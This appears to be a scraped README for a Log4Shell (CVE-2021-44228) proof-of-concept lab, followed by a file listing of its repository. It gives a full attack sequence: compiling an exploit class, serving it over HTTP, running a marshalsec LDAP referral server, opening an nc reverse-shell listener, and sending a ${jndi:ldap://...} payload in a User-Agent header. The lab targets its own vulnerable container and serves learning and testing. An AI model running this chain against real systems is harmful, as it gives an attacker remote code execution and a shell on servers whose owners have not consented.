来源

关联漏洞

介绍

# CVE-2021-44228 (Apache Log4j2 RCE)

## Requirements

-   [JDK 17](https://www.oracle.com/java/technologies/javase/jdk17-archive-downloads.html)
-   [Docker](https://www.docker.com/get-started)

## Usage

1. Run application

    ```bash
    docker build -t vulnapp .
    docker run -p 8080:8080 --rm --name vulnapp vulnapp
    ```

2. Compile exploit

    ```bash
    javac Exploit.java
    ```

3. Run http server

    ```bash
    python3 -m http.server 8000
    ```

4. Run ldap server

    ```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://host.docker.internal:8000/#Exploit"
    ```

5. Listen for reverse shell

    ```bash
    nc -lvnp 9000
    ```

6. Trigger vulnerability

    ```bash
    curl http://localhost:8080 -H 'User-Agent: ${jndi:ldap://host.docker.internal:1389/a}'
    ```

文件快照

 [4.0K]  /data/pocs/8c712d091179099ec29611d9e2be0b5128e39ada
├── [ 18M]  app.jar
├── [2.3K]  CVE-2021-44228.md
├── [ 180]  Dockerfile
├── [1.3K]  Exploit.java
├── [399K]  image.png
├── [ 41M]  marshalsec-0.0.3-SNAPSHOT-all.jar
└── [ 882]  README.md

0 directories, 7 files

备注